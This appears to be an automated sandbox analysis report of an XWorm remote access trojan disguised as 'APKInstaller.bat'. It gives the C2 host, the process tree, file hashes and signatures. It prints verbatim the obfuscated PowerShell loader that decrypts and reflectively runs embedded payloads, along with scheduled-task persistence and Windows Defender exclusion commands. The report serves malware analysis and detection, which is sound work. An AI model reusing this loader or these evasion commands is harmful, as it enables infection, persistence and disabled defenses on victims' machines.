Analysis

  • max time kernel
    146s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 12:53

General

  • Target

    APKInstaller.bat

  • Size

    302KB

  • MD5

    7a5f5944302b8298714b56ae2f138b7c

  • SHA1

    669b42f2f6e76895899d84d5ad7a12f23d951f13

  • SHA256

    3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552

  • SHA512

    73049c86a87fe41797a4f3b382e0f2740a9def19ee12979d7a37237b33fa5aa3ad2ec1c4852ebc02987afa75f08fd52115d4a416eabf38b5df1936ce38b8f120

  • SSDEEP

    6144:32i9XCwjujllYECVvYOjntEw8ZNsT0oilQHSzlO8DF8hVvRj:32iBCwyhCVlaJZUilQHulOq2vRj

Malware Config

Extracted

Family

xworm

C2

19.ip.gl.ply.gg:38173

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    Runtime Broker.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1468
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_850_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_850.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4872
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_850.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3560
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_850.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_850.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_850.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4344
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4536
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1128
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Runtime Broker.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:920
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4360
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Admin\Runtime Broker.exe"
              6⤵
              • Creates scheduled task(s)
              PID:3152
  • C:\Users\Admin\Runtime Broker.exe
    "C:\Users\Admin\Runtime Broker.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:1156

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f8d49a4af7a844bfc7247d5670def557

    SHA1

    26ae0ce194a77a7a1887cf93741293fdfa6c94c4

    SHA256

    61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

    SHA512

    9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    d28a889fd956d5cb3accfbaf1143eb6f

    SHA1

    157ba54b365341f8ff06707d996b3635da8446f7

    SHA256

    21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

    SHA512

    0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    da5c82b0e070047f7377042d08093ff4

    SHA1

    89d05987cd60828cca516c5c40c18935c35e8bd3

    SHA256

    77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

    SHA512

    7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    ba169f4dcbbf147fe78ef0061a95e83b

    SHA1

    92a571a6eef49fff666e0f62a3545bcd1cdcda67

    SHA256

    5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

    SHA512

    8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wnmwtokz.znf.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_850.bat

    Filesize

    302KB

    MD5

    7a5f5944302b8298714b56ae2f138b7c

    SHA1

    669b42f2f6e76895899d84d5ad7a12f23d951f13

    SHA256

    3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552

    SHA512

    73049c86a87fe41797a4f3b382e0f2740a9def19ee12979d7a37237b33fa5aa3ad2ec1c4852ebc02987afa75f08fd52115d4a416eabf38b5df1936ce38b8f120

  • C:\Users\Admin\AppData\Roaming\startup_str_850.vbs

    Filesize

    115B

    MD5

    8384ee845260de578806c1f1eeb28b8d

    SHA1

    f5fda25b7472985a7fa23b703d6c35565b8ad59a

    SHA256

    4be538c836d5af2c685716ffc01f2f7557f7907bfd6097e178f806142e273d9d

    SHA512

    c54b8c328b2790d67d1f22591f8978b33ed9bc39616ad3550f47fa5b3287cde00b07c0c4bd34793cf35d53406fc13ab4edc9ad13836d7da22b14bafd7986794f

  • C:\Users\Admin\Runtime Broker.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • memory/1156-110-0x0000029F7D640000-0x0000029F7D6B6000-memory.dmp

    Filesize

    472KB

  • memory/1156-109-0x0000029F7D570000-0x0000029F7D5B4000-memory.dmp

    Filesize

    272KB

  • memory/4344-49-0x0000018EE32A0000-0x0000018EE32BA000-memory.dmp

    Filesize

    104KB

  • memory/4872-30-0x00007FFE303B0000-0x00007FFE30E71000-memory.dmp

    Filesize

    10.8MB

  • memory/4872-27-0x00007FFE303B0000-0x00007FFE30E71000-memory.dmp

    Filesize

    10.8MB

  • memory/4872-26-0x00007FFE303B0000-0x00007FFE30E71000-memory.dmp

    Filesize

    10.8MB

  • memory/4872-25-0x00007FFE303B0000-0x00007FFE30E71000-memory.dmp

    Filesize

    10.8MB

  • memory/4936-0-0x00007FFE303B3000-0x00007FFE303B5000-memory.dmp

    Filesize

    8KB

  • memory/4936-50-0x00007FFE303B0000-0x00007FFE30E71000-memory.dmp

    Filesize

    10.8MB

  • memory/4936-14-0x0000028B5FC40000-0x0000028B5FC7A000-memory.dmp

    Filesize

    232KB

  • memory/4936-13-0x0000028B5FC30000-0x0000028B5FC38000-memory.dmp

    Filesize

    32KB

  • memory/4936-12-0x00007FFE303B0000-0x00007FFE30E71000-memory.dmp

    Filesize

    10.8MB

  • memory/4936-11-0x00007FFE303B0000-0x00007FFE30E71000-memory.dmp

    Filesize

    10.8MB

  • memory/4936-1-0x0000028B5FC00000-0x0000028B5FC22000-memory.dmp

    Filesize

    136KB